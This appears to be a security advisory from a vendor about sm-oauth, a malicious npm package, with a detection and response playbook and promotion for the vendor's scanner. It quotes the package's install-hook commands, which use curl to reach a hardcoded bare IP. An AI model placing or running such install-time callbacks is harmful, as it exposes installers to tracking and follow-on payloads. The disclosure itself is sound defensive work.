sm-oauthnpm
sm-oauth is a confirmed malicious npm package (MAL-2026-14398) that executes malicious code on install (malicious version 99.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in sm-oauth (npm)
What this malware does
package.json declares preinstall and postinstall scripts that run curl -s http://16.192.173.5/sm-oauth/pre and curl -s http://16.192.173.5/sm-oauth/post on every npm install. The requests fire against a hardcoded bare-IP endpoint over plain HTTP, leaking the installer's network identity (source IP, install event, request metadata) to that endpoint and giving the operator a channel to serve follow-on content in the HTTP response. index.js self-identifies as a dependency-confusion test artifact and exports no functional library code; the package's only behavior on install is the outbound callback.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for sm-oauth (version 99.0.0). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging sm-oauth across your stack and pipelines.
If you installed it — respond
Remove sm-oauth from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If sm-oauth was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks sm-oauth before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks sm-oauth-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.